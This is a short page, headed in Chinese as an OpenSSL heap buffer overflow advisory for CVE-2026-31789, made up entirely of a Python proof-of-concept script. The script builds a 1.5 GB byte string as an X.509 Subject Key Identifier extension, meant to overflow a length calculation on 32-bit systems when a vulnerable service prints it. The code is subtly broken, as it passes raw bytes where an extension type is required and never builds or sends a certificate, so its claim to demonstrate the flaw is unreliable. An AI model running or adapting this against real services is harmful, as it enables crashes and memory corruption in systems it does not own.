CVE-2026-31789 OpenSSL堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-31789 # This script generates a crafted X.509 certificate extension with a large OCTET STRING. # Note: The size must be > 1GB to trigger the integer overflow on 32-bit systems. import sys from cryptography import x509 from cryptography.x509.oid import ExtensionOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.backends import default_backend def create_malformed_cert(): # Simulate a massive OCTET STRING value # In a real exploit, this size needs to be large enough to cause len * 3 to overflow on 32-bit # (e.g., length > 1431655765 bytes) try: large_size = 1500000000 # 1.5 GB print(f"Generating payload of size {large_size}...") malicious_data = b'A' * large_size # Constructing a malicious extension (Subject Key Identifier) # In a real scenario, this would be part of a full certificate structure skid = x509.Extension( oid=ExtensionOID.SUBJECT_KEY_IDENTIFIER, critical=False, value=malicious_data # Invalid type for SKID but demonstrates the buffer consumption ) # This PoC demonstrates the data construction. # Sending this to a vulnerable OpenSSL service attempting to print/log it # would trigger the heap buffer overflow. print("Malformed data generated.") except MemoryError: print("Not enough memory to generate the payload.") if __name__ == "__main__": create_malformed_cert()